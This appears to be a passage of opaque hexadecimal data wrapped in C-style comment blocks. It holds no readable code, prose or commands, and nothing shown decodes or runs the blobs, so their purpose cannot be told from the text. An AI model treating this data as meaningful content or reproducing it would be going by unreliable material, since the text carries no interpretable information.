135a2fb8eafbfa7e060c5db1ee5968236e2a5aec64b1d72ebc747192b0750e9dd887978c131db1bf8dc3e2020e5a9364d7c85b662597db9ce92c5b02baf22e8d80c0eceeb3fb5d4c6c346323bc6ef25df9dad3090b8b8f4d70432e60e3a1c081ac5701c1231bc7b14cdbc0e061ebd7e0aea1550053757ae0610ca11c09a16359523d0a561070530259523af98ec9702b403978269656cac111b782e36e53938397fde2ca0d729e1ea927f22c37d8b68acfc68de9183668f584662fbff8df8eeac181aeadedcb6021cc3cc59c1b5de5bfd5cd69241c863a8cee5ae8fbc255fb65f7be896c7f77189f220e791ea83c62093a30941630c208abc3733ba18f7278bb927169ac561bc66e7b3aac1fba1374eeead181be6138c4c54cfdc4bd0796b9d9ad586693460b55f388fb9fc4ca1d81607cf9294a9e313856566d9674ccce2274ba527d5b00646ae70c3d81e749021be095f58b97ac36e6533737300f91b3068ba44b5b17bbcf4a4bd4f4f079455e8594a2ef0f84919114c29c3da0905e4fcab084ae0f1564e7b1fd69fbc664e0a793c236de87e96984f79d6e54d99ff98e5c8dc29b4e35eb67cfc4abe65a5325e744e0e283b75360cb4a0cc5ec04ea4e4e8d0868a274e5d40705ad9d0961d30c71e33d21b80a38a3182e41d3b6102983aa6f03c9dc9c41102a10d725851f7c59f7ea545354a7040ecbbe56146e81a279d9e560d962189aa7eaa4c0c48a6a56bd739f79e25ee9d34b6deb55e9a3addaff20de53bfa95dc2312bc3cac706ec929b7dd2a329bef55afe87f5d1bf6836175219478e158da3a5ae3d5762631d899aa6aa303c0387ec421360a790187a4f2d205b441b3dd4b4cbd66480d862036dd6f36f7b4cf5660e055b75dc0459f610b863a20867985c88ac6b848c1382b7becc5931a1445cdb115f2192ea13ec6ab8aed3189b88726be6d1d256c29df604e6d86c640e9936d96605d18d7d6e4294d41845abd605b1fb964658ac3e908731eb8f14ef265effaf4244765341387d819a2c6752e373c97e615b9e4d598439fe621ec3b75245189c13b659105e938ce71996949fada29d35fde9a6d47a1ff39d67d7c07f3070e4f9cde4f643e61297e926ff146f33bd9bcb97f991b2ebecb68a0ef972a6ddeb75c3916366176542819a169a3f0b6c0259d5051318babe6ceb13eca545a1683ea76283c4697aef52247c46d077943bea89c753809588308070d7baffb1fe865e1b9faa588acb1694a65fb176da90b07330d38e7f1fbac0b565b348345efbb13f8f4bde237794732ff7*/
/*3f303ead1497c4ba7fb1532257e9bce7a3c0d4a793f273572d00e6cdfcf63ccaabfefd56f2703600dadbb7e878b7fe592b5a5cb4ba34b610eb6443bc3836f8853ace7f19998244b8777b03d7235086c6601e4322124a08c727fea6566a8fd455df12065b69c0b151e35f518af5b8086456b9014a864d88b1cf0532a54e49a0890e2cd0186c5ae39f57528ae227e5bd642e5e6535d689b8c0781addf40f26579b6282caad931a629518860a03697ccec76ba1f27132ccfb922bdd5197cdfadc55cb7e9347f946700201bf61cc74696ea8076bcaafe50a59ed5e607ad074de16d9676d7c8458764902610627df8c50f0cac05abb528104ef5270ab2cd20c36c37a9d69d0fd6572c2f3392160829846d862d17c646e9213d98c3a95ab2555648b517c3be448343b03b198f4346504509176618886fb8d946c445fea43d5a75a1a11f9b688a0ceeb69efae6a4413c172d30ee24bb9ff50e6d178a54f16b6e610efb198299766ce78fa6fba80ee30a3f1ac0daff81ca4856a7695e82de5f11c7ffef55f56355f9d5c232403d453684f065e515a27d4ddbd0189233f906a201e46281f93ebb256c505b4b438b8db67050f6fa34fd3e4c1ea6d3e3304b346c576b1491332809fcc977874c5c70fd71927ee7584d06867a3bc1a58958912e1d547c80ce63e0f21c57c36869f3a96f0d97190980b37cd2d3b83e4e0bb5accf1c776d6051f9a6573942f4eb7b2b3b09b16466d60735929e3d0fb7c3a657f38c4533350306991c58082d3d387d4b7026f4f3168c4ca87a284c0ad011df042bc221b380efbcf03174a933dc0c4de40046afaa27d0c72483ca4cd03fc11c8d646d9931ac5c541441757e869b3d5a251e715310893dbd794b2cf76e8751f40a17328e7758db1095d242e72b0b6ba58f3769695f54b7c64572292318a1654bee4c622a784c6cff9b652b298ec36081b52937860c89933c05ffa8df2c2a8fe64b7cf1fbeef2f399208b658d6d3df43c706bcd2b0f79e053c0181c7285c769c8b60479c83c5fbc212beaf0359e8e606ef8c656db2be44bb27c4285e8c9cdc944498f25e0b4e0cd15598da6e9ea91687a3e8b7591cf094fae29c5380fde3c84f781ca675ac7ab21714b05d22e98a6b82cb96d08ebf059093a73cca732496764f7f77c7408676863becd47b7659bdb1f828c8387ed38dc33e82d8588095183ac2615cf3103b4f79757b9b4ffa0d9e3ea4d1941649933e4ad5c89186d75fad7d34919d1e72e2f29338ef5cbc8d1cd348056b288051fdffd5dc74acbfdc9055d2e49937edcdab6eaa6ce08643a30e5cbdfb97c3b195965d99b2d97be718ac9b7dc02e1e46f55bb748593161697e5fcc5dd708b595d3e08afab718621eac2d53324dd6cd9f92729fff5bfcca09985e7cfb36c9a600a2d6e230d16f01d3d2d50dd3da4c1c7e50e362d4b8c2d5485137eb82a5ca0c37a8cdfb7d0677d51414a86d3e967c6abd8be1e87280e9479a16bb886c27e702b1a3fcbba7eeaf8d8d6cc4ae21a3b2f510068110fcf13391cfbd0f37fb14635f630e6bda8d92a348655cdc4db24cbbadc93fddb640281a36b10199f8440204714abb443c3394c92fd727b49075fba2903342c614bb36a1a63f73b8dcc5694cf9495ce081adcac3d7bf40b4b91c899b627f705212131572ec00826cd3ec0106245ca5d14eaea8c327827fd898572c07139417cf2e120a3134add7921b3d15a2b05934af58c112571d9656c9505a475baafc0bc672bd2ad60a9dbbe79e8cff63a85ff1c538694d9eac8dacbdf3ec10f1c2c8a31288e8bfefc38cccc53456cec2bd24a1eb26fcfee0d5535c4c2f67dad5628566d3d44a7784d272058d30de23444cc2310d17db0cb7baff84a3fafddaac7c0d5b5341e8b9fb979c32e8d32b0af0bc1fa9ddf2026b9019eb6cf3521a100d267758bfd0772fc441e760d7917e8e9e166f12614d0968ce936f629c4e208eaa82f49689105896bfbe9fd49bb3a508f2f707aa2281945eddea720b548e18d82175c608288c20e957f3c4a9607bdb2f2d97be9413c0a27c7adec783f23ff363f41e1024284dcd7ce7235ba18860e706a6d437988db5afe48ef5ca92f14083252e7fc7c6eb4098bac5b0652b8452571c96f66e2b321152950db10afff13bbc7c2fb7783c09722680b883418b7b7bd1233974fc3d97da1c564df5277fca0920bc6329a857dc9bb70f26e86940521ac6a2c761afd866d3d03c78de36cd0b2baadcb9c737e973c06ca0834d84111168d531cab7c21f2d5325069e2b477fd509520673d7bb4fc588067e878d2b3794803744fe6570ababf3b49b363e8cfda6110e6e6c47edf1218c851f5930424fe55fba32619ec2dbdcda223d6a124f5618dd3c1b6d0234ef9cd7d90da1479a048c16a32e75d1804662da2c00e1931c494388832e58f10d2a19fa2b17f87c17a45e33460e237f03f137a70939007384855bf1b93d04eeed7a9576aeb283ecf8eb87470b10499290aa7fded23ef3878559f8608b743dab6bc7f529408650e51289b994999ea6ea5d300e3d56b0e2aef354879cf5a186c5c9720e9f1628c0ab1c910a39e51309bee1b71094e6ccfa5907ad17ac175719378b7eb9409a24560c74341e847a473d9c3e0713e255c682b8a35530ed4d482d29b42e6b48c9c7fb6399b5c85a90ddb178f368cba53a5885e6b39fa52d86252017a3b55cad06f026018bbdd6ca8525c024ca55f64d9edf4646086e1eac6c1f849058875a056bc61ab2c21cbfb1db8cc2b08a50300ed4955ab3a9e0bb89c27190e8a0d1ed95f6f791ec12de477936f126b053d5a6597ac381*/
/*2e4f7734086d6bf4da01be0c2e8db41f16c3bfd371b44277064d2dca34ef0b484c8e43804f57b640fa35cdef7b1cd21bd02c398b4fa1322aa3d60cb9afd5b5ab42fb7b101a7615400ed3b5cc52af8c6b2b4d3fb3ffb2d8260d6b8a3a79fc5e7f15c56f892cc79d2813e868f36f4670e19c6624086fa62e8ef617e72fd2f275a0ebafafcdd2603c83b3aae1e40ddcd60792547f8d65304cb310f45d4ded5fc93b9bde2e75d2702d3aaeee71efd96d48776c6fa01527504c9daf3dd160c46ebe4209a741136648d5eb06245b5c5aa95a3983d6f39841558fc92798c9744c2a429d737af29f954cab435277e9802fff91d3ccca1f68588814b93ab17b5104eb8b4929b6f272f534ce2e19668a8920e29eaa3b2697aef80a1c61c03847877fa61a9f6b672cc62f1fb5bd57f88aba9ca030ae49419130c75454d752bd578fc6c3173c93ed17cd0979752b8bef6eb072c0171f3e83e2432db9d4b6b049e5e6ec54b43d917e8fce083c1da7051fbb910ddf2c3383d55d1993941b48deb55292db19c08c149dec6ab22b8bb53db7b477cbeb2724c148e49667b31eb142221434cac8baf91dbdef6c5b2fa07c02157df83c376b716a05599aa733d95ef1b7dcf9874b3e19bca402a169c778842a5fa1658e812889708c43873b0b9905a4ec189338f3018733cb83e709de8a0bab5fcc1c839892a09c4d71dc9fcf94c72b6e0b090544101ff819ee3bbacd63895070cb510eaf48162726666dad5556073d6057982fb987d447537eaf2b46e15a610b5a242c12aa91b26f02957c109e2466cc9f4714c83390bcb805af452d59aa79b116cb1739567200592b3d3988265878f91798c20b9c22833cb8e057de7009f3b4571d209456d7bbbf9e4c22a84f9b3e1224feef1738f5b6f79ab06227c8d974bf0d41f748832351d5c10802143543d22e39f78d5d66f8677622b28620154355df96473732ac12cedbdcc1f01d954bdeadbc48d56baca5c69e9d5e9aefbead8ef14f7c3647f0296521470e1c69d1ff86487a7b4d8d4c0c854297c8c7cce22633b372d185b83e7e6e353a933fc06f1056adeffc0e8452900ee61545ebb40d14d4ab9262f462e94f65cb2225acb268c33cf53c80439ffa43db0da09248ebbf198fe1116ff7ee097f8d1e851af59c475a125a6f59824ee23708558dccf8137a40b2291798eb94f9ca71dd271bdcc72dd107e73bc15bf70f2249e17c0ad576e29a2770bd28152689a9a214184438fb49e82b8f1e85457edbc5e36cc8f9cdfc06c048da694717c2d33ccccad1f33e09b651c3e0e755a2db7f610770c370cd73c6a71e96172976157cfd8d9a6949d0d92de1fcda4cd9605b9e98b87e11ce2023bde93b12d2a32c5697d9ea9e38735751ca974dbb5731048cd491bb3e96a26b16710ce497f74b61676214846d297098a2f5975fbed7ad2c8ffb3f2ce5db88f486fbcd3e2631061a388cccd091d80e3dc5733613bb87a0411535e85a84d8b5c835f45de5d2f3e3429021ee9f63b899e759d270271849ec1360307950b96aa9ef069ef8c5ad8f66e624bd27d62219bcc95012bf3adfa64b222335de61ece3c5c27447f8732f973596e229e081d473516cc41e62e15e05e921b9a1317e6d39d3df71cd2efafc25a2df3de78f78ac0b876c8d6a5d62fcaab870b4c1631b6154e5f5332e0fc86455d39b984a1e515c02f7db504873fe63ebeb038c3e59805d81889171b36b900efd9e1fedb8a5dadd9daf3cfce3d13eb6113de47c3fd9afce447c136d16d4fc3a9d84d8a96ea2d33b45324e02276d930e8d2c923b3d2b7da26a7ddeeca7b1b0d45d15b3729951352d5226c327991aa61f9e87e68156d68603c788a6bcb30c810d529bdb6a947be8125b117eba72c7c59d2d2e57c31d9ecbd2fba81f916bfb955b34d48e4ab5ce9deaccb82e0847c02f33ded1949e8dfbe72b4b4f48571e24a18dfe873a813328b2c9b297430e197150f96a73a595abf52246709082700e7ba029d70053f7cb8626b92acb3c6fc5e89fb3b11c9caf4a7bf7b9a37c1864da692af3635904ffd95930b459fafafe959b47ac0de201298dc32ebc49e050c5ee130267fb965328e9056dcf472ed7ccad1aa2abf2d08768aeeb40c7428122b116b4ec65f6c0d60f1e3e2541be1fc31b8c60591631355e0f2308aec9f8738edeb70bdfb7e81bd9b533c36a12fedca93c490753d961aea636b5fab4fb08574a8c609fd338fd1d2a9fdd4eb433daeedc5f242fb94defdfa3e2cc652b58b38808aa1427a4061d4f353c77558dca8710c42592ea873be49c95bfc5f544a8233e62999d50d86bfbeb4e0f2e078e58a2346fa7d41179c9e9ea623e5c0ef7ad0e289cd2735b67c5b27192e56a91d0aefeffec27e380c7ea86e37aeb95940bbfcaf9f1627e35d89f062f12b29485beba60ab176913d739ac2f007bb65fec26c72ad9f1d20c230493d48dc251187067f4140d19f72cfe73261e57333a370c79aeba243bd407e65d225a8d86e1ac94ad4c446bbac6e163e77b68565baba88421dcee7005125c45f6e35313e832eda7c4b5332322d87eb659b599503f2a2a17f9851ae4448767be537493011d78161c76076dafc71a7756a4a9ed1c8fd5ef1cf0ece988e3915f2decf2651ec6fd75ffdcbb6b3281f1c52322ee9d8837054c6f898f9830b94b5d60e6654fb1b06ca06ce93ad1cd2a925babc696de5a67b6349ec3a067d4df3ac02899e112f23d7d2147d05539a5491dfb6fa45ae86e6a8b69ce5a82b63474a189eda31443a28c863c83d40ac16fad8a94a020a0b65744997206c69ab51eab5845eacceddec2d0d998a1*/
/*bfc95e93a812ae8a9434ae5a392caf97a5955722e1996b817c80ea3c165c70fc6f28be82b7b3909f8503d71e4816a0be3214257b74e4dcda9ccc18dc181a61d36730b790a9cb5f077203e7bf53f5a3be84322169d620d84763286dae0765b0cf88de6b4523fe7eef1e46db06337a18a65f111490bfb085c9295d4ed882e8e09582fdd1dc4519eec6c97b595c0f7fce1d62c249b055941a974e8f02a9f02f80d4f9fe74985b6ceaefc3d194f38303267df0baae63ba9def28d0bf0107ac43192fb624a0062b99157ce6be50d011107ac392fb54508835341a637b0d0fd32894408f4eb7c64746d90ab55720637c5f26b673c7c1090277ac506e690e172a2c7e4936e63627735f77a2e815eb488e2cf2f396ba0bcd36f1d90c3f0f667f7218ef488d8dc109ac9c2de504f531a126d97c4e0784307e2d43aeee54a0581aeb443ab1d8bd0f50ebd965913ce80c69691700b11bd2c48bec39aab1f6f899371241c5bd957ff4464be465e0739d05dc5cae9fb6ff20106dbbda56058f20dbc729cf94b40cf25f05454e9d870ea275c4faa56f2bc0a625d9f0b7244a17117a99c90016c09b543a6929cb4325c19dd8311ab6b0d6669c1dd3ff7d65af0bbca2f2392e2e215831934fc37fa4fabf78a497f870b596668a65ac03bf11afc3777fbfbad05b82d6b6d19adc2aed40b73d7707b1418210e5002e26e947bd112b43f43eb7a53a1cdb1c6215172b0c0e7e74fb2a5f8892c6d77f14db6ce98652248a43838f18d1f7f36a34b02cd0325c3198b53f9977f2c18c8f866267fe3d52509acb52dbeb046daec4a982750c6a164fa4c985cfd15e0c428d63208da2fda525cb981b628643602416afa61ae461fc785eaaefe631d27ca2d65f8fc0d2f7c73f1c8b6a4bbc8511962253d4cdef0214211077472d51a2c282fa917707e808de8ebf8d60082a480781a4d178db7e0ac4b4a89e1920a5a64ab6217dc98fc33ef2100897575de5804f2e26576e6f9fe9043f68b3a0ce950a2dbfd0aae9d219fb2fa3c183bdeca6c0f83e6a519232921ed1bd5c8973b4697797d7eaa32786a555dbed7fad720156743818e8c8fbf0b2edda49f2499e768e6c6a6f19f1406cbdcadd29c51f00e9747aaa5f7d18739176b0f5053ae3a62205898daa79871b9d036f1ecf369dae526303d405388a710b1efbb220505dbea2f815a414c4a548a29541884519ffa9c2db77a28a7745dafe94699ae24b0c3ed26b8cd3ca2ab358acece1be4912280557b95753ea203c938fc2658cd360f21097bfe0cd4cb1786e02edbee4518b1dcfc74e250484623c16f425d10f5f50494e3370076a5f48caa0ff811548371ff7e2ae739e9880eb7f6f472fd7e8d34d4a796971b98a792b3c44b4fbdbc47fe432d747c188cb1e9ab3b56ce0ebce3c6ba7d6e8017b592aec5f74272638be2bf6211c8f26f1bbf525710e056b859ad912b9a8ba6f34ac7b4ff7cb14cb6912df43453287304c2aeba2335172202443304d80cd2959af8d259ae46e5ac2d4096e0a9ffced6583985d5f744d45b2c6edb4cbced555cc7574025f4acded0d906c0221a303735e2d5d04f5b9f2d9f33d226b167eef6e5687e38581b4329f1363b5a65d7fc86a3f2ba07577c3f1ef21dda3248ec0aafe0e63e05c27836555452cc301e56c91cd4db154505c1ce027acfb0493eb502e50febc1f3cd4c1c11f9bf886ac03bf5fd51eedff59c15bccc6b774bf6c5695dad5b2c4a0bfe1e6fc0d5fb196d217e3872a178aab096d35aa10000b42fded38a66b03100244c7dcafa20a4a49523c8f166cb0cf2676f8ea22e355e68005a49eef9bba468ee396df31cad44b6a20e550bca83e7530b0febe6978e31b6cefeceb8b5525c93008668dead151f67e41f2d8e7da2d87ea42535585c2d2daf1d00ee49c3951c72c207bc72392fd30ffe7c338dd25defdb099f0ca4fd89245f7f8e138700ce288a61b3040056d8a461f6f901f1d97f27b4fa975cf432b23f72c12862dc12ef117bb900a6fee3d6889219fac812f7e0bd6b5ea34cc3986ee8852cc08c7f110ff8e787fa9fc776121fb114891722c4701cb54e371ad92032434dfe95d7cc0af34b40f804309807c009c531ecec61db08f7eea73ea273b13fc4a3b40fbff7b0ebc6d4ee9734257d206f14c41d6beae21cfcf5377bd2fa6f6de955b4f2aca6c921a885437badf7151b41872b44e50098ad351a7ee400d79d6adfc311b8dc6557b71fe634ee9df1c410797317305ab851979123aa159aefd8bad2e7e2417e2329e61a40690f44106090bba23aef90ad41703c104c493016741d5ff7f53e0243503ccf4189d14457c2f8c5e89e13f7ed65e5e26de62879a43877a451b5f65cb840c8b1220fc45ada809b5eef505a15a91d6f05bb5e4d8ab7f0b4aff5b620eb1c6ae33746123fffec7cd2b808b01b8754f6aecb62a18e6fcf098be32f750be560dd8b899821f40c8de0d893f3717dd6932f2e1cd8dc7e8a5670e94aaac5089ba09931c557b2c49c6831e39da2514d16cf1a21de2b0f5916bd8cd83a629b6b6bd7b5aa00d3cf750658f30bd800dabb8d04202db91e5cadfdc5afff68861fe1b2282f69d17a6c3c98e6ac468f591bd65f8c26a468e2605ea8dfc715ca13f85f8ce44b6b682d5e4a071f423419005268f6626714b7511b0c6e4db487edde4e4d27f6c3059d385c11ec3c01cff750a82b4133587e34dfa0058ef6123154acb72e169f4bfb07b4a63361fccf09f892e6209d297952db5ae1077ca304b5949a012061a70ee8308527422cb9b45b5b9932ffeb099f90d172017f2b507cb8f6a80d0df7caa0a2a1591*/
/*c67dace1a1fd8f43b0be8500cceadc58ec7770324915ee45000777b218fe18c90c8c6ed166449f1af84100274a7f9dfb3ff51b4adfdef81cd5e050d2c3a91f73df873985f387e29e5dca3399d79732d215e76e1ed4e937130489faf42626adc0333036a5a6a6ecadee551f2f2718583ed8a0e2059a2467672be8b326a680eef6892c0a3b24a5e199efd90125ffb44acd6677805f280cb856d17face02559fbc6cba41e841b1063c3e839a003fee034f3404cb8e8e4faf047aa77b75d817c2c990a194f8fa065d2a47bd3565f7913c48c0f2401a70c4bc679d1e2b86cc6766a367048061bc7d6acc7f3a50746f497959b34e377c786a25ec7222e89d87b6b40dc50d451173e6ab86dafac605b0684e377a97b98d601ae538e2deaf34c915621ce3217d36b92bea1a170427644fdffbf81964fd8c31260106093a9cc931bd49e6186ad755bf8f50bfc2169eda6c3f0e4929f0d81194235e60cbfcf82c4db1263b1f1b18188b949213f4cc2a476ed759ccd37a589eb9e670624d0eae7a8e8b930da6b32fadce76e91f82f84a7de4aa63297c6d83abb6a176d7c107a039ceb37279fb6bcd685d9592817eda1c54f339a7690c2a121d379d16795a7a1526f69651f9c50b3d5324e9c861e04491c4809249490923269cdd7e2f215059211aea2cbcbfc0528fcc05f97a8c7bf66358f8f07c40b2060335e68cb0934a3d68356e71c68647a2dc8439135d65bdb1adba0739ab02f0e9475d3f6313457d71613c4bea9c87b1975ca124cabfa8234e57b79e34b3851d1ccc3ab90c36d8588cc47c6090f157d72a1fb0e4368b75015b6d351f46c2507c2ecc20419bf77eaee7c565be2b2df1c68abf81193692659fd1b1129c8cea972a304f7e282a7bb46992780b8ac456c5e1bba54a52c4b1170807c1486380ed0a435a77eb38f1672330c370b54ffda57d6f62bbc0d81cee1ce5ae43cd199f1e1493ea84331501fc5c9e660ed4bf7fce8511b85099ac18d24fb796fa7a0201d5dde15f2fe30cb9d29999d93c748f29220e49af3f69f10a6951e3189e76b67bc85b55157328b129118e9b51d862e056dc46e931df8179a5778abc51ae32b9304af7ffbc23ad9f499bc411a995550a81845c478d114c7f80755fbc43019380436b61beac0e6df9ee5de09df31c517bda7cba805ffec652e020d5b9314769a3668df4cfcbe86fca7ed32560ac2e2896e365ff114df52c3b7a7f9466955587dca4428b4ba6d2d452c7a166d0f703cb6c30d644da3c6c8703ab34ae4f48910b1b524c1bb70054bb329262edf61f7c6dd8e6db6118aebc1e583e4ec627a8636b94c3f75722a57b9cf2f9db1711fd6d778b65dc1964ab4af1799e3eda0bb9418f08dc6c601f9bee71f87596077fb65b1af7f1ece0cbdbbf9f4a5112c291ad8a38b2c5a9431577d18d93d5bcd2e78d50551c9b15c477f061f2ea854db499a1877c885a1cc8da1166eef60b8f9a5207e5bf1a8413c9d00964db20fbd94c2a2fd8e9e83a36fc4da0bda8fad35f92d311f7da001472a8daabae15905d2f380d78254d069976a600a042719c4661094d731f10e224b59b606585bfa158cec51ea3616bfdae1036d381f50e3144ff7302d1ac5452a2b1491ea32be2865be072c8604f0d1b1b5533c19d4efbdc47d8f0bf0fa82f6ead7cd448ba310e0cc0c1f047465079148669c5a6604775a3a70c194b2fdacb046aa3344872b739e63a16f3e7d0d16c61971f8ec19f281e354c689bc6f087070cf161a3aaa845df2984b030019005dea4bf0d29f2cabe32176cc84932df3fae42fa8e68cfa74f8e0f7b591d0ac46593f551035d7718733ce76de811b6118c8d376fafda11c2013c7567c9d40d4cb1a85ac2d43cff2d55e65d7d2ea829907e285502d97ca667eb8a56b390ea39f98c8dae36876d6750039d3e74a8c82c8f42cee998dbb4a5e43f3d86deb2c97602a7fadd31d229b6adc2edda8529d2b9acb94d1584640cd11d1b017a0cb49c88cac7ae11129cfa8aa8a06b7d4580579e3e127a751148035f666017df106303d7ec0423ee20b5bfff0cf001da8f9ab2b6bc7c9629e3deb614f8e2025ef79bf8792255d179e87e55b3f7fd24151e725c2bb2058117c6a27210fab6da27350c211e370d88b3c1eb3b767af92a78564dbe715d270c8848eb8b812f49f21ce488b5e6aa55ca26b9530ceb967fd57f662b360c103cd2e06658b754ab169ad589f41e2a5e39dbbf2b55db20b4eb6936ade2348ca17ea30d106ead4cb46b717e6a44c2ab6e65ddd29369e37b4c6caaba62f28da17bcc06913687801b0dcaf8920b4e797f1cc6606481392216fd3147bcd2315ceb9e9e7598805947a709db6e4c5b76b4ad1d5f0b056ec907e8e38adf8cef0870a569bd4e942aeb55bb35d13cafa345968f09c46e8c55490a511537936e9700a6def5486adff72b2526310e70f3fddbd7cf842fa4cc82cba1e123f3bc312ef5e065b7ae2f297d160ff74c9feaa7472b36498c08d78a0fd8bb7b90631132cd91ad1008c60baef78b65019cff0d3fcaf6e2b6b6f80dae3549a1eab3718b75d7ce3afe1f2c2cebc6831ad43b99b53561b26ec4c99832ee0e0d6da7a164478037e6a99f34b0c4bfaedca1aed36d46b087ec8189271a86c04444c51f37e78ce323b8e39ac3504b7742476644cd1a43b4a9760d6263d446e837887778e12ed490b42867854681b36d162e8b3aaff3d002146aa3e8bc4649b61990767017d97cb4df15401e48f90d44fc2ba0b48ae00480eb5ffed6a4df57594eab44f1ea057f6363485528984a09eac8648a808158a77ce9a857089225f7076dd9648*/
/*5b897d8ad1e3a80cb1243fb9fe1b1a8a6b22262064b9ef03cc9f1be943afe43726aaa6a4ab5e65fc6b0ab0c0152e9a9daab02a284337b16e014b9d683ca13104133ec9a8bd6f3c1619aac235ffecaae266ec74495e81a15eb86847cc38744cafe24b23e82cfdb662b1bd63a9d96b9d875a4827793d27db59440d86ff2cca5713ef74ba35c1c42215fd004c4c6f13effeea5f16d6dbf6041b83ea0cdeff0727cbeadc28b672b443b78c878b59d6e9e56c405919f65e0abb9db5537f127d6acaaed1b836329b4ebda3eb675a691b4f297eef0e0d9d43b15ced1e39de9756cbf753ccbd6d9277fd18a431900a07de62bce2a747e2c811a3e4cc78434d0b553a2e3130d212dfdd9a14e5203e4ad50ac97490b1c6bb8e868db9cc26c6d2b061443a5a454e761abc6a63e4ca45df5027e1ee6054a53e5a9a16efb63b2f53ad25a34c86d686c95065a66da489973e8acac472f30364432f44c21409136b02fabe7fb6a64a96b9ecc8dc56569a9a01991832f427c8139e8f5b735988e0962425ee4c9970d00475b016d0ab023ceacffd51b6078b9c5eefeca360d472b0f761f4f457c8f244431f7545bc79c814bef88298d1d2eba71e0ab57472266776bcd59694f2cd43a0de3cf6fce8e4e6c7462e35bef67391d61ef91106ca574d4cbd9a0284e94f148f9fd6e790cdb565222c738de5d5f7014b89bbf4161943e9f851dc6251fa6148b9ff50bd6cfe0e4ed76354f50b820fd32932ec2d83e9702891caffe7f8b2f79aa72b10e7514f6db0afe1f7bc3beb02d2065fc5c08820e84325266c9a8bd028bd2da944ae023b0820ab4e83dcf20649a0492397e0feffb0470823de0e2d30d5826be8013bc65de7f7d1ef398411b33aea81a37fa4bf01759cfd8c949d76c1066e0f6de6be95e923e90d9332f0330772d6875195163453de5c96436d39a8bf2b55f89b8db4515ac9c40b208dc8b74b37464673d3333dbf1508b54092ebc9c6da25bfd920478d9181bd20acdd7a3edc35cc08aa35324fccece28d92a82d4780e7cf618062691eb525b37ccf8311132e4212873f17de70ba3881d5161997a3ed480254387e7b20d38997033ef8128f46ecbe3577822ba72ab0739aa0a5a17e73fef17d0cfd594b73725ab45d554bc4978f97a706e2c9ef7ce3fcf10bb93707694ca31128e4d2b0a5560d30ddf7e4cefed521c4a8b26337113a2edde0ba7cb05445cc06b3707470cdd64c69d83b68f51289e1b31b8710c8623422ec724a60726549eccc9a12cb24b9601bc15c114dc3f65f1a012093873381e5df2eb5b8a5dc789fbe746a67ac13e0d02caef4e000fa5420b160497e2f4d86d8150790b317f4147f92a298f1b7c35313fc2fdec3181e41bacc3a0e592b679e066d93c0000bb8fc1356b45618f6af3c837fdfdfb27787f0f19c2871d476d4d6a70686f32aad0bf6b313c8d8c036c0d8d63d7de5ee2c45b84714c20205b1f9417b979ce035498ec677d8e19b4352a8b6473d6526d74bb217d4888045174bec1a8a02c3192d24868c0bd4f233321eab94005e00b3a768c41c50712c7766b7f4d17ec7e273398a185fbbc4f8f94d0d3e59e7364b7dfcfd76a3bc1c69063d6175a8d084a15bec97b436991581166cc4a9c01e95b08c5550625fa539dd612ed280f7104c006a0a2290eca421f5fec1a5676e02e68bdacbcaa305bfad9a86d9b1a35f3194f08e3251a5bddbdab70379cf0020e674b6bd5c445d0f3d61c8733491ee3f1cb04282e40ce36ffb77511b0a0cbb530eb7fec55c4b3a2c21a817f957483aa672c0645e8d4733720dda953b11e0049587b89f3659dae6d04ea11ddc49ef54f2142c8648e226bbbbb69b429f484ed5394f6c80130861aaf9889a384a24bb5bc52815d2aacbb8a46fe2ed2fcf769b5fe43a9eadad17df42bcb80b1719d795cf8362dbfc554e328c15e2e0263ca2fe3323aa82205385d971062537fe47c46e9edd7f7787f0344e122fa8b73f93d0693c055fcc9ff0c0769ba0fbf2f5b95e880c007c67ad90fca97b1188aa4d24e0585a34cd2dd324fe1b5880e6ed6ee1225e1fa324de34276e9de41ed60d4b36b86e7d516b188b96502f2b0e0fde184b96bf06093828933d1034ba466c8f3c6c684139fd4f0f3c6c1b04d6c9ee85f0438b0322727f21d7b78b95c15f49fca4a03b82a41eebd3d930741700ff09ac0c4699484a68ded7cb48247da9cbc9961736a6c08909637c41df3c35dd427678278a037ce82049cc5ad27fd7edd44475e949c1552b98f395bc234f4fd4b5896594227bb33a0b5dbca7ae6d011cf8a326ad1cc109b4d35b7a4777d9f89be563255338f7e900027feababaa74a7c9c67c0f8e0479755f9338ff2122b8f63d2ce9a059a485c85213f7013afce957fca3ab05b509356decba0ae5217f350a5c316aef5b74d087bc0c89667c101c0dacd0f6b570875a39f0b9184d6e6bef3ad9dc056e1d71a9f964b9fc913ac10964399010c0d0157705e9f200e2a549393c205b9a1465c4d3b5bf97915e3bc7328213c7487380e9400828f0d49f5867b93a60fef48b68acf60b80552691f6110f0281908d2728bb675f39d3c3b8b83cd0b96c7549726f9ecaa0a59d2fe921da837513f6da0ee70d37307cf8d145df379f7359cc135f103c766acda446812dea04c0199b26102354d658f0d60344d8a89a653a70fee5c5e4fabaf5f082ee3da5bc3c61c488676f122de498024843cf062deee860ebc2b5a27e6d7387328b793243b833456fbd0ac481c871e3dfc5f34deb9bc9f0e6732a3358ea3a659886515644a36c1c9498e7c1be989965db10b23f69a6d39403e*/
/*deac5b7beb7e7b4d2b797a86763713c7ce36c4846289c4c1eebbaf05f419b4fa91882e79800b4fac67a04f576ac048542ee8b94344a07e5463f3b6c81e5c7a2a1356bcfbd7b8e342a5933de063dbb84aaaeb2b585562ed4064fbedcd57d5650d21ff12ac1c67e7748e50b7c4ecca725e414a736855d9163983963eed05d3c4247011136af565d4cd86b32575eef0a72c1da7df3746150c2c372c0dc904988935b8ec10c497f977d395f51393dfd8a24925a2e00cb145373688d727eb51ce941775288d8419d1c6e30fdcb5ca806e2c44cc20088f7b2a92dd64d01ecfec882a417a0c1f5936e1588083cd2efc45118200a6772ccb69824e220849a3b7f2a443be99ad000a29ff27f85d523e2ab216d3edcdb48f71a2096d3629e6ba23a94440de9394c5a54ec2a1ca118a17876bad562dde64c8614ab371f43289c75e9b242c0774820b45bafe30932fb38df53fa462170d7192c42f2d445704ddaadeb0b882e39f77afa2d077e026aa00598c0bded7126f307c3271bd53f37f9011a9f1b26a767cae9a5413995ceb3f5897649cade10d271fe92bec68c4aa74244df28c3ca2be1ce88bdd12a45440851ad8776d22cde2049042253273de4d99272cadb01703228ca2f25a6ce2a7a36c00b0a1426e709dfe889f6518a62997601e8c99a8596235f3cde409ce96c62379ecdaee27cb34c3aeebf16835138629b52b0067238699b319601f047a4009fe674893d3f9ec012e6421b31490ef29ec0ef903c7758627dd2d8e795476e72e12fadd113ec87a1353a6f893b9e8614383d016056b8eeaeb3ef4c0188ee65c7f7674ea0283867b141efa802b8fc3101ca30b221c64976f5cd0c31c11f51b3919a7aae78c68336a